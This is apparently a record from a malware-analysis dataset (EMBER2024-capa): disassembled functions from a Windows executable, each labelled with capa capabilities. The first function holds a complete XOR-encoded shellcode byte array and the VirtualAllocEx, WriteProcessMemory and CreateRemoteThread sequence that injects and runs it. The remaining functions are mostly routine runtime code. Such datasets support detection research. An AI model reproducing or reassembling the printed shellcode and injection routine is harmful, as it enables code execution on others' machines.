joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400010c3
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x7c8
lea rdx, str.byte___buf__new_byte_373__0xeb_0x27_0x5b_0x53_0x5f_0xb0__n0xde_0xfc_0xae_0x75_0xfd_0x57_0x59_0x53_0x5e_0x8a_0x06_0x30__n0x07_0x48_0xff_0xc7_0x48_0xff_0xc6_0x66_0x81_0x3f_0xef_0x35__n0x74_0x07_0x80_0x3e_0xde_0x75_0xea_0xeb_0xe6_0xff_0xe1_0xe8__n0xd4_0xff_0xff_0xff_0x14_0xde_0xe8_0x5c_0x95_0xf0_0xe4_0xeb__n0xeb_0xeb_0xfc_0xc4_0x14_0x14_0x14_0x55_0x45_0x55_0x44_0x46__n0x45_0x42_0x5c_0x25_0xc6_0x71_0x5c_0x9f_0x46_0x74_0x2a_0x5c__n0x9f_0x46_0x0c_0x2a_0x5c_0x9f_0x46_0x34_0x2a_0x5c_0x9f_0x66__n0x44_0x2a_0x5c_0x1b_0xa3_0x5e_0x5e_0x59_0x25_0xdd_0x5c_0x25__n0xd4_0xb8_0x28_0x75_0x68_0x16_0x38_0x34_0x55_0xd5_0xdd_0x19__n0x55_0x15_0xd5_0xf6_0xf9_0x46_0x55_0x45_0x2a_0x5c_0x9f_0x46__n0x34_0x2a_0x9f_0x56_0x28_0x5c_0x15_0xc4_0x2a_0x9f_0x94_0x9c__n0x14_0x14_0x14_0x5c_0x91_0xd4_0x60_0x7b_0x5c_0x15_0xc4_0x44__n0x2a_0x9f_0x5c_0x0c_0x2a_0x50_0x9f_0x54_0x34_0x5d_0x15_0xc4__n0xf7_0x48_0x5c_0xeb_0xdd_0x2a_0x55_0x9f_0x20_0x9c_0x5c_0x15__n0xc2_0x59_0x25_0xdd_0x5c_0x25_0xd4_0xb8_0x55_0xd5_0xdd_0x19__n0x55_0x15_0xd5_0x2c_0xf4_0x61_0xe5_0x2a_0x58_0x17_0x58_0x30__n0x1c_0x51_0x2d_0xc5_0x61_0xc2_0x4c_0x2a_0x50_0x9f_0x54_0x30__n0x5d_0x15_0xc4_0x72_0x2a_0x55_0x9f_0x18_0x5c_0x2a_0x50_0x9f__n0x54_0x08_0x5d_0x15_0xc4_0x2a_0x55_0x9f_0x10_0x9c_0x5c_0x15__n0xc4_0x55_0x4c_0x55_0x4c_0x4a_0x4d_0x4e_0x55_0x4c_0x55_0x4d__n0x55_0x4e_0x5c_0x97_0xf8_0x34_0x55_0x46_0xeb_0xf4_0x4c_0x55__n0x4d_0x4e_0x2a_0x5c_0x9f_0x06_0xfd_0x5d_0xeb_0xeb_0xeb_0x49__n0x5d_0xd3_0xd5_0x14_0x14_0x14_0x14_0x2a_0x5c_0x99_0x81_0x0e__n0x15_0x14_0x14_0x2a_0x58_0x99_0x91_0x3f_0x15_0x14_0x14_0x5c__n0x25_0xdd_0x55_0xae_0x51_0x97_0x42_0x13_0xeb_0xc1_0xaf_0xf4__n0x09_0x3e_0x1e_0x55_0xae_0xb2_0x81_0xa9_0x89_0xeb_0xc1_0x5c__n0x97_0xd0_0x3c_0x28_0x12_0x68_0x1e_0x94_0xef_0xf4_0x61_0x11__n0xaf_0x53_0x07_0x66_0x7b_0x7e_0x14_0x4d_0x55_0x9d_0xce_0xeb__n0xc1_0x5c_0x75_0x77_0x7f_0x34_0x60_0x7c_0x71_0x34_0x44_0x78__n0x75_0x7a_0x71_0x60_0x35_0x14_0x40_0x5c_0x51_0x34_0x53_0x5d__n0x56_0x47_0x5b_0x5a_0x14_0xef_0x35__n
lea rsi, [rsp + 0x40]
mov r8d, 0x787
mov rcx, rsi
call fcn.14000ae50
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor r14d, r14d
mov ecx, 0x1fffff
xor edx, edx
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
mov dword [rsp + 0x20], 0x40
mov r8d, 0x787
mov rcx, rax
xor edx, edx
mov r9d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbx, rax
mov qword [rsp + 0x20], r14
mov r9d, 0x787
mov rcx, rdi
mov rdx, rax
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x20], r14
mov dword [rsp + 0x28], 0
mov rcx, rdi
xor edx, edx
xor r8d, r8d
mov r9, rbx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [0x140023bbc]
call fcn.14000f748
nop
add rsp, 0x7c8
pop rbx
pop rdi
pop rsi
pop r14
ret
Function at 0x140001f64
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x84222325
sub r8, rdx
je 0x140001f87
xor ecx, ecx
movzx r9d, byte [rdx + rcx]
xor r9d, eax
imul eax, r9d, 0x1b3
inc rcx
cmp r8, rcx
jne 0x140001f70
ret

Function at 0x140003ec4
Capabilities:
Parse credit card information

Disassembly:
push r15
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x28
mov ebp, edx
mov rsi, rcx
mov edi, 1
cmp edx, 0x3a
je 0x140003ef3
xor edi, edi
cmp ebp, 0x3d
je 0x140003ef3
xor eax, eax
cmp ebp, 0x2e
mov edi, 0xe
cmove edi, eax
mov rbx, qword [rsi]
xor r14d, r14d
movabs r15, 0x4800800000000001
mov eax, dword [rsi + 0x7c]
lea ecx, [rax + 1]
cmp ecx, 0x3e
ja 0x140003f14
bt r15, rcx
jb 0x140003f21
mov rcx, rsi
call fcn.140002e3c
inc r14
jmp 0x140003f03
cmp eax, ebp
jne 0x140003fd0
cmp ebp, 0x3a
jne 0x140003f67
mov r8, qword [rsi]
mov rcx, qword [rsi + 0x68]
mov r9d, dword [rsi + 0x70]
shr r9d, 8
and r9d, 1
mov rdx, rbx
call fcn.1400036b2
test ax, ax
je 0x140003fd7
lea rcx, [rsi + 0x40]
mov rdx, qword [rsi + 0x48]
mov r8d, eax
xor r9d, r9d
call fcn.1400038d0
jmp 0x140003fae
cmp ebp, 0x2e
je 0x140003f8a
cmp ebp, 0x3d
jne 0x140003fae
mov r8, qword [rsi]
cmp rbx, r8
je 0x140003fe1
lea rcx, [rsi + 0x40]
mov rdx, rbx
mov r9, r14
call fcn.140003fea
jmp 0x140003fae
mov r8, qword [rsi]
cmp rbx, r8
je 0x140003fe1
lea rcx, [rsi + 0x40]
mov rax, qword [rsi + 0x48]
add rax, 0x20
mov qword [rsp + 0x20], rax
mov rdx, rbx
mov r9, r14
call fcn.140004442
mov rcx, rsi
call fcn.140002e3c
cmp dword [rsi + 0x7c], 0x5d
jne 0x140003fd0
mov rcx, rsi
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
jmp fcn.140002e3c
mov ecx, edi
call fcn.140009618
mov ecx, 1
call fcn.140009618
xor ecx, ecx
call fcn.140009618
int3

Function at 0x14000895c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400089a6
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400089a6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400089a6
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400089a6
cmp dword [rcx + 0x84], 0xe
jbe 0x1400089a6
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400089a8
xor al, al
add rsp, 0x28
ret

Function at 0x140010ad4
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x1400108d0
Function at 0x1400176e8
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x140017718
xor eax, eax
jmp 0x1400177db
mov rbp, rbx
cmp word [rax], si
je 0x14001773d
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x140017724
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x140017720
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.140017608
movsxd r14, eax
test eax, eax
jne 0x14001777b
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x140017711
mov rcx, r14
call fcn.140015d24
mov rdi, rax
test rax, rax
jne 0x140017794
xor ecx, ecx
call fcn.1400147ac
jmp 0x140017770
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.140017608
test eax, eax
jne 0x1400177c5
mov rcx, rdi
call fcn.1400147ac
jmp 0x1400177cf
xor ecx, ecx
call fcn.1400147ac
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x14001a8a8
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov ebx, ecx
call fcn.140015948
mov ecx, ebx
lea r8, [rsp + 0x30]
and ecx, 0x3ff
mov r9d, 2
bts ecx, 0xa
mov edx, 0x20000001
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
test eax, eax
je 0x14001a949
cmp ebx, dword [rsp + 0x30]
je 0x14001a942
test esi, esi
je 0x14001a942
mov r10, qword [rdi + 0x98]
mov r9d, edx
movzx r8d, word [r10]
lea rcx, [r10 + 2]
lea eax, [r8 - 0x41]
cmp ax, 0x19
jbe 0x14001a91d
sub r8w, 0x61
cmp r8w, 0x19
ja 0x14001a92a
movzx r8d, word [rcx]
inc r9d
add rcx, 2
jmp 0x14001a907
or rax, 0xffffffffffffffff
inc rax
cmp word [r10 + rax*2], dx
jne 0x14001a92e
cmp r9d, eax
setne dl
mov eax, edx
jmp 0x14001a94b
mov eax, 1
jmp 0x14001a94b
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x14001edbc
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.140013840
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x14001ee46
cmp byte [rbp - 0x21], r15b
je 0x14001ee41
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x14001ee7c
call fcn.14001af24
test eax, eax
jne 0x14001ee68
cmp byte [rbp - 0x21], r15b
je 0x14001ee60
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x14001ee7c
cmp byte [rbp - 0x21], r15b
je 0x14001ee79
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.1400139c8
test eax, eax
jne 0x14001ef1c
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.140013840
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x14001eebb
cmp byte [rbp - 0x21], r15b
je 0x14001eef0
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x14001eef0
call fcn.14001af24
test eax, eax
jne 0x14001eedc
cmp byte [rbp - 0x21], r15b
je 0x14001eed5
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x14001eef0
cmp byte [rbp - 0x21], r15b
je 0x14001eeed
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.1400139c8
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x14001ef1c
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x14001ef1f
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x14001ef2d
mov rcx, rdi
call fcn.1400147ac
cmp byte [rbp + 0x3f], r15b
je 0x14001ef3c
mov rcx, qword [rbp + 0x27]
call fcn.1400147ac
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x140001af0
Capabilities:
Read pipe
Write pipe

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push r12
push r13
sub rsp, 0x40
xor ebx, ebx
mov rbp, r9
mov r12, r8
mov r13, rdx
mov rsi, rcx
test rcx, rcx
je 0x140001c37
xor ecx, ecx
mov qword [rsp + 0x68], rdi
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov qword [rsp + 0x30], rbx
lea r8d, [rbx + 3]
xor r9d, r9d
mov edx, 0xc0000000
mov rcx, rsi
mov dword [rsp + 0x28], 0x190000
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x140001bb6
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xe7
jne 0x140001c1c
mov edx, dword [rsp + 0x80]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WaitNamedPipeW]
test eax, eax
je 0x140001c1c
mov qword [rsp + 0x30], rbx
lea r8d, [rbx + 3]
xor r9d, r9d
mov edx, 0xc0000000
mov rcx, rsi
mov dword [rsp + 0x28], 0x190000
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140001c1c
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetFileType]
cmp eax, 3
jne 0x140001c0d
lea rdx, [rsp + 0x60]
xor r9d, r9d
xor r8d, r8d
mov rcx, rdi
mov dword [rsp + 0x60], 2
call qword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
test eax, eax
je 0x140001c0d
mov qword [rsp + 0x30], rbx
mov r9, r12
mov r8d, 0x410
mov rdx, r13
mov rcx, rdi
mov qword [rsp + 0x28], rbp
mov dword [rsp + 0x20], 0x40c
call qword [sym.imp.KERNEL32.dll_TransactNamedPipe]
mov ebx, eax
cmp rdi, 0xffffffffffffffff
je 0x140001c1c
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdi, qword [rsp + 0x68]
mov eax, ebx
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
add rsp, 0x40
pop r13
pop r12
pop rsi
ret
mov eax, ebx
jmp 0x140001c23

Function at 0x1400057c0
Capabilities:
Check os version

Disassembly:
sub rsp, 0xd8
mov rax, qword [0x14001e020]
xor rax, rsp
mov qword [rsp + 0xc0], rax
mov eax, dword [0x14001e960]
test eax, eax
jne 0x140005891
lea rcx, [rsp + 0x20]
xor edx, edx
mov r8d, 0x94
call sub.MSVCR100.dll_memset
lea rcx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x94
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
mov r11d, dword [rsp + 0x24]
cmp r11d, 4
jbe 0x140005886
cmp r11d, 5
je 0x14000585a
cmp r11d, 6
jne 0x140005837
mov eax, dword [rsp + 0x28]
test eax, eax
je 0x140005853
dec eax
je 0x14000584c
dec eax
je 0x140005845
dec eax
je 0x14000583e
mov eax, 0x6c
jmp 0x14000588b
mov eax, 0x6b
jmp 0x14000588b
mov eax, 0x6a
jmp 0x14000588b
mov eax, 0x69
jmp 0x14000588b
mov eax, 0x68
jmp 0x14000588b
mov eax, dword [rsp + 0x28]
test eax, eax
je 0x14000587f
dec eax
je 0x140005878
dec eax
je 0x140005871
mov eax, 0x67
jmp 0x14000588b
mov eax, 0x66
jmp 0x14000588b
mov eax, 0x65
jmp 0x14000588b
mov eax, 0x64
jmp 0x14000588b
mov eax, 1
mov dword [0x14001e960], eax
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.140012880
add rsp, 0xd8
ret
Function at 0x140005fd0
Capabilities:
Get thread local storage value

Disassembly:
push rdi
sub rsp, 0x40
mov qword [rsp + 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x60], rbp
mov qword [rsp + 0x68], rsi
mov rdi, rcx
mov rsi, qword [rcx + 0x80]
add rsi, 8
mov qword [rsp + 0x28], rsi
mov rcx, rsi
call fcn.140012280
mov dword [rsp + 0x30], 1
cmp qword [rdi + 0x98], 0
jbe 0x140006077
nop dword [rax + rax]
mov rbx, qword [rdi + 0x90]
mov rbx, qword [rbx]
mov rcx, qword [rbx + 0x18]
add rcx, 0x58
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbx + 0x18]
add rcx, 0x58
mov rax, qword [rcx]
call qword [rax + 0x28]
mov rcx, qword [rbx + 0x18]
test rcx, rcx
je 0x140006059
mov rax, qword [rcx]
mov edx, 1
call qword [rax]
mov r8, rbx
lea rdx, [rsp + 0x50]
lea rcx, [rdi + 0x88]
call fcn.140006920
cmp qword [rdi + 0x98], 0
ja 0x140006020
mov rcx, rsi
mov rbx, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x40
pop rdi
jmp fcn.1400122c0
Function at 0x140008980
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rbx, rdx
lea rdx, [rsp + 0x38]
mov r8d, 4
mov rdi, rcx
mov dword [rsp + 0x38], 0xfffe00ff
call fcn.140008720
lea rdx, [rsp + 0x38]
mov r8d, 4
mov rcx, rdi
mov dword [rsp + 0x38], 0x10000
call fcn.140008720
mov r11d, dword [rbx + 0xc]
lea rdx, [rsp + 0x38]
mov r8d, 4
mov rcx, rdi
mov dword [rsp + 0x38], r11d
call fcn.140008720
mov r11d, dword [rbx + 8]
lea rdx, [rsp + 0x38]
mov r8d, 4
mov rcx, rdi
mov dword [rsp + 0x38], r11d
call fcn.140008720
mov eax, dword [rbx + 0x10]
lea rdx, [rsp + 0x38]
mov r8d, 4
mov rcx, rdi
mov dword [rsp + 0x38], eax
call fcn.140008720
mov r8d, dword [rbx + 0x10]
mov rdx, qword [rbx + 0x18]
mov rcx, rdi
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp fcn.140008720
Function at 0x140011d00
Capabilities:
Create thread

Disassembly:
push rbx
sub rsp, 0x30
mov rbx, rcx
mov ecx, 8
call fcn.14001291e
xor edx, edx
test rax, rax
je 0x140011d1f
mov qword [rax], rdx
jmp 0x140011d22
mov rax, rdx
mov qword [rsp + 0x28], rdx
mov dword [rsp + 0x20], edx
lea r8, [0x140011cf0]
xor edx, edx
mov r9, rbx
xor ecx, ecx
mov qword [rbx + 0x20], rax
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, qword [rbx + 0x20]
mov qword [rcx], rax
add rsp, 0x30
pop rbx
ret

Function at 0x140011f80
Capabilities:
Allocate thread local storage

Disassembly:
push rbx
sub rsp, 0x60
xor r9d, r9d
mov rbx, rcx
xor edx, edx
lea r8d, [r9 + 1]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
mov qword [rbx], rax
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
mov dword [rbx + 8], eax
test eax, eax
jne 0x140011fe0
lea rax, vtable.RSException.0
lea rdx, str.unable_to_create_tls_index
lea rcx, [rsp + 0x28]
xor r9d, r9d
or r8, 0xffffffffffffffff
mov qword [rsp + 0x20], rax
call fcn.1400104c0
lea rdx, [0x14001c2d8]
lea rcx, [rsp + 0x20]
call sub.MSVCR100.dll__CxxThrowException
int3
lea rcx, [rbx + 0x10]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov rax, rbx
add rsp, 0x60
pop rbx
ret

Function at 0x140012000
Capabilities:
Set thread local storage value

Disassembly:
test rdx, rdx
je 0x140012060
push rbx
sub rsp, 0x60
mov rbx, rcx
mov rcx, rdx
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov ecx, dword [rbx + 8]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
jne 0x14001205b
lea rax, vtable.RSException.0
lea rdx, str.unable_to_set_tls_value
lea rcx, [rsp + 0x28]
xor r9d, r9d
or r8, 0xffffffffffffffff
mov qword [rsp + 0x20], rax
call fcn.1400104c0
lea rdx, [0x14001c2d8]
lea rcx, [rsp + 0x20]
call sub.MSVCR100.dll__CxxThrowException
int3
add rsp, 0x60
pop rbx
repz ret

Function at 0x140012070
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x60
mov rdi, rcx
mov ecx, dword [rcx + 8]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rbx, rax
test rax, rax
jne 0x140012128
lea edx, [rax + 4]
lea ecx, [rax + 0x40]
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rbx, rax
test rax, rax
jne 0x1400120dc
lea rax, vtable.RSException.0
lea rdx, str.unable_to_create_tls_data
lea rcx, [rsp + 0x28]
xor r9d, r9d
or r8, 0xffffffffffffffff
mov qword [rsp + 0x20], rax
call fcn.1400104c0
lea rdx, [0x14001c2d8]
lea rcx, [rsp + 0x20]
call sub.MSVCR100.dll__CxxThrowException
int3
mov dword [rax], 0
mov ecx, dword [rdi + 8]
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
jne 0x140012128
lea rax, vtable.RSException.0
lea rdx, str.unable_to_set_tls_value
lea rcx, [rsp + 0x28]
xor r9d, r9d
or r8, 0xffffffffffffffff
mov qword [rsp + 0x20], rax
call fcn.1400104c0
lea rdx, [0x14001c2d8]
lea rcx, [rsp + 0x20]
call sub.MSVCR100.dll__CxxThrowException
int3
mov rax, rbx
mov rbx, qword [rsp + 0x70]
add rsp, 0x60
pop rdi
ret
Function at 0x140012190
Capabilities:
Get thread local storage value

Disassembly:
push rbx
sub rsp, 0x60
mov rbx, rcx
mov ecx, dword [rcx + 8]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
jne 0x1400121dd
lea rax, vtable.RSException.0
lea rdx, str.likely_unbalanced_enter_exit_monitor_pair__extra_exit_
lea rcx, [rsp + 0x28]
xor r9d, r9d
or r8, 0xffffffffffffffff
mov qword [rsp + 0x20], rax
call fcn.1400104c0
lea rdx, [0x14001c2d8]
lea rcx, [rsp + 0x20]
call sub.MSVCR100.dll__CxxThrowException
int3
dec dword [rax]
jne 0x1400121ec
mov rdx, rax
mov rcx, rbx
call fcn.140012000
add rsp, 0x60
pop rbx
ret

Function at 0x140012200
Capabilities:
Get thread local storage value

Disassembly:
push rbx
sub rsp, 0x60
mov rbx, rcx
mov ecx, dword [rcx + 8]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
je 0x140012247
cmp dword [rax], 0
jbe 0x140012247
mov rcx, rbx
call fcn.140012190
mov ecx, dword [rbx + 8]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
je 0x140012237
cmp dword [rax], 0
jne 0x140012241
lea rcx, [rbx + 0x10]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
add rsp, 0x60
pop rbx
ret
lea rax, vtable.RSException.0
lea rdx, str.must_own_monitor_prior_to_calling_exit__
lea rcx, [rsp + 0x28]
xor r9d, r9d
or r8, 0xffffffffffffffff
mov qword [rsp + 0x20], rax
call fcn.1400104c0
lea rdx, [0x14001c2d8]
lea rcx, [rsp + 0x20]
call sub.MSVCR100.dll__CxxThrowException
int3
mov rcx, qword [rcx + 8]
jmp 0x140012200

Function at 0x140012280
Capabilities:
Get thread local storage value

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, qword [rcx + 8]
mov ecx, dword [rbx + 8]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
je 0x14001229d
cmp dword [rax], 0
jne 0x1400122a7
lea rcx, [rbx + 0x10]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rcx, rbx
call fcn.140012070
inc dword [rax]
add rsp, 0x20
pop rbx
ret

Function at 0x1400122c0
Capabilities:
Get thread local storage value

Disassembly:
push rbx
sub rsp, 0x60
mov rbx, rcx
mov ecx, dword [rcx + 8]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
je 0x140012247
cmp dword [rax], 0
jbe 0x140012247
mov rcx, rbx
call fcn.140012190
mov ecx, dword [rbx + 8]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
je 0x140012237
cmp dword [rax], 0
jne 0x140012241
lea rcx, [rbx + 0x10]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
add rsp, 0x60
pop rbx
ret
lea rax, vtable.RSException.0
lea rdx, str.must_own_monitor_prior_to_calling_exit__
lea rcx, [rsp + 0x28]
xor r9d, r9d
or r8, 0xffffffffffffffff
mov qword [rsp + 0x20], rax
call fcn.1400104c0
lea rdx, [0x14001c2d8]
lea rcx, [rsp + 0x20]
call sub.MSVCR100.dll__CxxThrowException
int3
mov rcx, qword [rcx + 8]
jmp 0x140012200
Function at 0x140012e8f
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x14001e020]
jne 0x14001289a
rol rcx, 0x10
test cx, 0xffff
jne 0x140012896
repz ret
ror rcx, 0x10
jmp 0x140012de8
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x14001e480]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x14001e578]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140012e6d
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x14001e480]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x140012e8f
mov rax, qword [rsp + 0x88]
mov qword [0x14001e578], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x14001e518], rax
mov rax, qword [0x14001e578]
mov qword [0x14001e3f0], rax
mov rax, qword [rsp + 0x90]
mov qword [0x14001e500], rax
mov dword [0x14001e3e0], 0xc0000409
mov dword [0x14001e3e4], 1
mov rax, qword [0x14001e020]
mov qword [rsp + 0x68], rax
mov rax, qword [0x14001e028]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x14001e478], eax
mov ecx, 1
call sub.MSVCR100.dll___crt_debugger_hook
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x140016a60]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x14001e478], 0
jne 0x140012f16
mov ecx, 1
call sub.MSVCR100.dll___crt_debugger_hook
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret